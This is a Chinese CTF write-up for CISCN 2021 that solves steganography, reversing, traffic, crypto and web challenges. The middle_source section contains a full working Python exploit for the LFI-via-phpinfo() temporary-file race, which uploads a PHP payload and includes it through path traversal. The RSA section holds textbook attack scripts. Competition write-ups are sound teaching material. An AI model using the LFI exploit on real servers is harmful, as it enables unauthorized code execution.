# CISCN writeup
by r00t-2021
# 场景实操开场卷
# Running pixels
奇怪的GIF，把每一帧提出来，能明显地看到10帧一循环。挑出最奇怪的第9、19、29……帧拖进stegsolve，发现有一个落单的像素点：
写脚本提取之，发现大多数帧上都有落单的像素点，颜色固定为(233, 233, 233)。所有像素点拼在一起，构成若干字母和数字：
顺序由像素点构成字母数字的过程决定，需要逐帧绘制过程。脚本如下：
#!/usr/bin/env python3
from PIL import Image
found_px = []
#for i in range(9, 382, 9):
for i in range(382):
img = Image.open('frames/frame%03d.png' % i).convert('RGB')
imgdata = img.load()
size = img.size
tgt = (233, 233, 233)
for y in range(size[1]):
for x in range(size[0]):
if imgdata[x, y] == tgt:
found_px.append((i, (x, y), imgdata[x, y]))
break
pass
print(len(found_px))
print(found_px)
out = Image.new('RGB', (400, 400), color = 'black')
for i, xy, color in found_px:
out.putpixel(xy, color)
out.save('outs/out%03d.png' % i)
out.save('out.png')
out.close()
last_xy = (0, 0)
out = Image.new('RGB', (400, 400), color = 'black')
for i, xy, color in found_px:
out.putpixel(xy, color)
if (xy[0] - last_xy[0]) ** 2 + (xy[1] - last_xy[1]) ** 2 >= 30:
out.transpose(Image.FLIP_LEFT_RIGHT).transpose(Image.ROTATE_90).save('outs2/out%03d.png' % i)
last_xy = xy
out.transpose(Image.FLIP_LEFT_RIGHT).transpose(Image.ROTATE_90).save('outs2/outlast.png')
out.close()
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CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}
# glass
扑面而来的JNI，好在没有太乱的东西。前面几个对缓冲区的处理越看越像RC4，索性当作RC4理解：
for ( i = 0; i != 256; ++i )
{
v3[i] = i;
sub_126C(i, v5); // 取模运算，结果存R1
v12[i] = v4[v7]; // v7 == R1
}
v8 = 0;
v9 = 0;
while ( v8 != 256 )
{
v10 = (unsigned __int8)v3[v8];
v9 = (v9 + v10 + (unsigned __int8)v12[v8]) % 256;
v3[v8++] = v3[v9];
v3[v9] = v10;
}
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算完RC4还有一个函数，分块异或外加写得及其花哨的逐字节异或：
for ( j = 0; j < a2; j += a4 ) // looped xor
{
for ( k = 0; (a4 & ~(a4 >> 31)) != k && j + k < a2; ++k )// for(k = 0; a4 != k && (j + k) < a2; k++)
*(_BYTE *)(result + k) ^= *(_BYTE *)(a3 + k);
result += a4;
}
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写脚本跑出flag即可：
#!/usr/bin/env python3
from Crypto.Cipher import ARC4
key = b'12345678'
target = [
0xA3, 0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84, 0x65, 0xC2,
0xAD, 0xAD, 0x9E, 0x96, 0x05, 0x02, 0x1F, 0x8E, 0x36, 0x4F,
0xE1, 0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D, 0x42, 0xC7,
0x6E, 0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98, 0x3F
]
out = bytearray([x ^ key[i % len(key)] for i, x in enumerate(target)])
for i in range(0, len(out), 3):
real_1 = out[i + 1] ^ out[i + 0]
real_2 = out[i + 2] ^ real_1
real_0 = out[i + 0] ^ real_2
out[i + 0] = real_0
out[i + 1] = real_1
out[i + 2] = real_2
print(ARC4.new(key).decrypt(out))
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CISCN{6654d84617f627c88846c172e0f4d46c}
# easy_source
发现存在一个.index.php.swo，打开之后发现提示了部分源码，源码中设置了一个User类，存在大量的方法
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
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猜测User类中的方法可能隐藏了信息，所以使用ReflectionMethod遍历获取所有方法的信息，最后在q方法的@access注解中，发现了flag
/**
* Increment counter
*
* @final
* @static
* @access publicCISCN{2CxzP-Yuu3n-3nfxN-hwB37-trDND-}
* @return int
*/
Method [ <user> public method q ] {
@@ /var/www/html/index.php 207 - 210
}
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# tiny traffic
打开流量包，过滤HTTP协议，在192.168.2.193发现了flag_wrapper、test、secret，flag_wrapper为CISCN{}，test和secret是被Brotli压缩的数据，使用python进行解压缩。发现test为proto3的数据定义，使用protoc --python_out=. test.proto生成对应的python结构文件，编写脚本对secret进行解码
from test_pb2 import PBResponse
f = open("secret.pb", "rb")
resp = PBResponse()
resp.ParseFromString(f.read())
print(resp)
f.close()
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输出反序列化之后的结构
code: 200
flag_part_convert_to_hex_plz: 15100450
dataList {
flag_part: "e2345"
junk_data: "7af2c"
}
dataList {
flag_part: "7889b0"
junk_data: "82bc0"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"
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根据结构指示拼接成flag:CISCN{e66a22e23457889b0fb1146d172a38dc}
# 场景实操二阶卷
# middle_source
在主页中列出了源码，存在一个文件包含漏洞
<?php
highlight_file(__FILE__);
echo "your flag is in some file in /etc ";
$fielf=$_POST["field"];
$cf="/tmp/app_auth/cfile/".$_POST['cf'];
if(file_exists($cf)){
include $cf;
echo $$field;
exit;
}
else{
echo "";
exit;
}
?> your flag is in some file in /etc
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在.listing文件列出了当前目录的文件，存在一个/you_can_seeeeeeee_me.php文件，访问之后发现是phpinfo文件，与文件包含组合利用，包含上传的临时文件，可造成代码执行，枚举/etc目录中的文件
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php var_dump(scandir('/etc'));?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /you_can_seeeeeeee_me.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""POST /index.php HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Content-Type: application/x-www-form-urlencoded
Host: %s\r
Content-Length: %s\r
\r
%s
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
fn = 'cf=/../../../../../../../' + fn
s2.send(lfireq % (host,len(fn),fn))
d = s2.recv(4096)
s.close()
s2.close()
#print(d)
if d.find(tag) != -1:
print(d)
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
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在/etc/fcbbfhbfbf/fhgedheeia/bdedgcecje/bhaabhejid/ecfajfcgba/fl444444g，找到了flag：CISCN{GlWGe-8agDv-a6Gst-CShBt-32Vl0-}
# baby_bc
面对奇怪的bc文件一头雾水。一顿好找才发现这是LLVM生成的中间码文件，可以向下继续编译到机器码。clang编译之，拖进IDA。
程序里满是二维数组（map[5][5]、row[5][4]、col[4][5]），输入被填入map，要求满足如下条件：
- 不得覆盖
map中原有的数字（对应位置用0代替） map每行、每列不得出现重复数字- 满足
row中定义的水平相邻两数字的大小关系 - 满足
col中定义的竖直相邻两数字的大小关系 - 数字范围限定为
[1, 5]（原先为[0, 5]导致出现多解）
规则放到一起，变成了数学题。数学菜鸡运气还可以，试了半个小时试出来了。
CISCN{8a04b4597ad08b83211d3adfa1f61431}
# little_evil
……做到崩溃的五层壳子。
拿到程序，14M的ELF，拖进IDA都卡的要死。突然顿悟，14M根本不是正常程序可能的大小，遂关掉IDA，7-zip文件分析，发现里面嵌着个squashfs打包的rootfs（这什么神奇技术）。
翻一翻，发现里面除了一个ruby环境之外啥也没有。找到了主程序__enclose_io_memfs__/local/out.rb，拖出来打开一看，好的，有混淆那味了：
l1lll;lIlI;ll1l1;l1lI;l11I;l1lll;llI1l;lIlll;l11IlI;l11I;l1lll;lIlll;llI1l;lIlI;l11I;l1lll;llIl;l1lI;lIlll;l11I;l1lll;llI1l;l1IIII;lIlll;l11I;l1lll;llIl;l1lI;lIlll;l11I;l1lll;llIl;l1lI;lIlll;l11I;l1lll;llIl;l1lI;lIlll;l11I;l1lll;llIl;l1lI;lIlll;l11I;l1lll;l1lI;ll1l1;l1l111;l11I;l1lll;
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捋一捋混淆代码，前面都是在构造字符串，最后一条指令用send()执行函数。修改代码加个puts，得到解混淆后的（下一层混淆的）代码。
同样的混淆还有一层。解开后代码可读性“高了一点”：
begin $_=$$/$$;@_=$_+$_;$-_=$_-@_
$__=->_{_==[]||_==''?$.:$_+$__[_[$_..$-_]]}
@__=->_,&__{_==[]?[]:[__[_[$.]]]+@__[_[$_..$-_],&__]}
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但是注意到后面有一串奇奇怪怪的数字，还有一个疑似switch遍历数字执行操作。嗯，好，是个VM。分析来分析去，顿悟，这8个opcode刚好对应brainfuck的八种操作。将opcode翻译成brainfuck，得到：
>>[-]>[-]<>++++++++[<+++++++++>-]<+.>++++++[<++++++>-]<+.++.+++++.-.>+++++++[<-------->-]<--.[-]+><>[-]<<[-]>[>+<<+>-]>[<+>-]<><[-]><,>[-]>[-]+++++++[<+++++++++++>-]<><<>[<->-]<[>>[-]><>[-]<<<<[-]>>>[>+<<<<+>>>-]>[<+>-]<><<<[-]][-]><,>[-]>[-]++++++[<+++++++++>-]<-><<>[<->-]<[>>[-]><>[-]<<<<[-]>>>[>+<<<<+>>>-]>[<+>-]<><<<[-]][-]><,>[-]>[-]++++++++[<+++++++++++>-]<+><<>[<->-]<[>>[-]><>[-]<<<<[-]>>>[>+<<<<+>>>-]>[<+>-]<><<<[-]][-]><,>[-]>[-]++++++++[<++++++++++++>-]<+><<>[<->-]<[>>[-]><>[-]<<<<[-]>>>[>+<<<<+>>>-]>[<+>-]<><<<[-]][-]><,>[-]>[-]+++++[<+++++++++++>-]<><<>[<->-]<[>>[-]><>[-]<<<<[-]>>>[>+<<<<+>>>-]>[<+>-]<><<<[-]][-]>[-]<<[>+>+<<-]>>[<<+>>-]<[>>[-]>[-]<>++++++++[<++++++++++>-]<-.----.<<[-]]<<
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分析这东西更废脑子。索性找了个Brainfuck到C的转译器 (opens new window)，gcc -O3编译之，拖进IDA。输入就出来了：
v7 = getc(v6) - 'M';
// ...
v8 = getc(stdin) - '5';
// ...
v9 = getc(stdin) - 'Y';
// ...
v10 = getc(stdin) - 'a';
// ...
v11 = getc(stdin) - '7';
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md5之得到flag。
CISCN{bd5658f44db57f5a1580e5444e5849ce}
# alice_bob
继续一头雾水。拿第一行的前几个字节上网搜，发现了若干和GMS与短信有关的信息。继续找，确定数据是PDU编码，还找到了解码网站 (opens new window)。魔改网页JS批量解码，前几条消息透露了flag的第一部分：
SMSC#
Receipient:+8615030442000
Validity:Rel 4d
TP_PID:00
TP_DCS:00
TP_DCS-popis:Uncompressed Text
No class
Alphabet:Default
hello,bob!what is the flag?
Length:27
---
SMSC#
Receipient:+10086
Validity:Not Present
TP_PID:00
TP_DCS:00
TP_DCS-popis:Uncompressed Text
No class
Alphabet:Default
the first part of the flag is the first 8 digits of your phone number
Length:69
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后面则是大段的十六进制。提取出来，发现PNG文件头，但是数据全部错乱。突然发现十六进制的包都带有时间戳，遂按时间戳排序，得到图片。
显然图片长宽是错的，010 Editor也在抱怨IHDR CRC有误。找脚本爆破长宽，得到flag后半截。
import zlib
import struct
filename = 'save.png'
with open(filename, 'rb') as f:
all_b = f.read()
crc32key = int(all_b[29:33].hex(),16)
data = bytearray(all_b[12:29])
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print("width =", width)
print("height =", height)
exit(0)
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注意这个手写的UUID，分隔符用的是下划线。
CISCN{15030442_b586_4c9e_b436_26def12293e4}
# 场景实操冲刺卷
# RSA
flag分为三段，用了三种RSA攻击方式，分别为小公钥指数攻击，共模攻击，Factoring with high bits known攻击
小公钥指数攻击：
#!/usr/bin/python
#coding:utf-8
#小明文攻击
#适用情况:e较小,一般为3
#公钥e很小，明文m也不大的话，于是m^e=k*n+m 中的的k值很小甚至为0，爆破k或直接开三次方即可。
import gmpy2
import binascii
import libnum
import time
from Crypto.Util.number import long_to_bytes
n=123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009
e=3
res=0 #res是m
c=19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
# c=int(open('flag.enc','rb').read().encode('hex'),16)
print(time.asctime())
for k in range(200000000):
if gmpy2.iroot(c+n*k,3)[1]==1:
res=gmpy2.iroot(c+n*k,3)[0]
print(k,res)
print(long_to_bytes(res))
print(time.asctime())
break
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共模攻击：
#!/usr/bin/python
#coding:utf-8
import gmpy2
from Crypto.Util.number import long_to_bytes
e1 = 17
e2 = 65537
n = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977
c1=54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
c2=91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950
_, r, s = gmpy2.gcdext(e1, e2)
m = pow(c1, r, n) * pow(c2, s, n) % n
print(m)
print(long_to_bytes(m))
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Factoring with high bits known:
p = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902 <<200
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
kbits = 200
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
print "x: %s" %hex(int(x0))
p = p+x0
print "p: ", hex(int(p))
assert n % p == 0
q = n/int(p)
print "q: ", hex(int(q))
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exp.py
import hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime
msg1=long_to_bytes(267334379257781603687613466720913534310764480084016847281446486946801530200295563483353634338157)
msg2=long_to_bytes(4193305853284549103821195807609492624095031428085219879448342104337322945001387680236011960472296815293233144303730273979905837762067652913308898433728800864776794638198055607422503065410595894676740531680367227696622352026247676452540064020322619036125381146346603655445487695574824919137)
msg3=long_to_bytes(978430871477569051989776547659020359721056838635797362474311886436116962354292851181720060000979143571198378856012391742078510586927376783797757539078239088349758644144812898155106623543650953940606543822567423130350207207895380499638001151443841997176299548692737056724423631882)
msg=msg1+msg2+msg3
print(hashlib.md5(msg).hexdigest())
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输出：3943e8843a19149497956901e5d98639
flag为:CISCN{3943e8843a19149497956901e5d98639}
# robot
Robot.rspag是Robot Studio的工程，但是这个软件太大了不想装。直接去看pcap，过滤主机发给机器人的数据（因为绘图坐标一定是主机发过去的），翻一翻，大喜：
.......]p~...............D .SET./127.0.0.1/RAPID/T_ROB1/Module1/tgPos{57}.Value.[208,46,0]...
.......]p................D .SET./127.0.0.1/RAPID/T_ROB1/Module1/tgPos{58}.Value.[208,48,0]...
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grep提之，规律跃然于屏幕上：
$ strings cap.pcapng | grep -A 2 "tgPos"
0 -1 -SymTyp 112 -Source 255 -RegExp "^tgPos$" -URL RAPID/T_ROB1/Module1 -Output 15
15; 1; 1;1;#2;tgPos;RAPID/T_ROB1/Module1/tgPos;PER;1;1;0;0;RAPID/pos;pos;1;0;0;1;500;
/127.0.0.1/
Mode
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{1}
Value
[27,36,0]
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{2}
Value
[28,35,0]
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{3}
Value
[29,35,0]
--
...
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{109}
Value
[71,44,0]
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{110}
Value
[71,44,-10]
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{1}
Value
[125,23,0]
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{2}
Value
[125,23,0]
--
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python turtle画之，过一遍md5得到flag：
#!/usr/bin/env python3
import turtle
with open('tgPos.log', 'r') as f:
points = f.read().split('\n--\n')[1 : ]
segments = []
for point in points:
s = point.split('\n')
segments.append((int(s[0].split('{')[1][ : -1]), tuple(eval(s[2])[ : 2]), eval(s[2])[2]))
print(segments)
turtle.setup(width = 800, height = 600)
nextup = False
for i, xy, z in segments:
print(i, xy, z)
if nextup:
nextup = False
turtle.penup()
else:
turtle.pendown()
#turtle.goto(*xy)
turtle.goto(xy[0], -xy[1])
if z < 0:
nextup = True
turtle.mainloop()
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CISCN{d4f1fb80bc11ffd722861367747c0f10}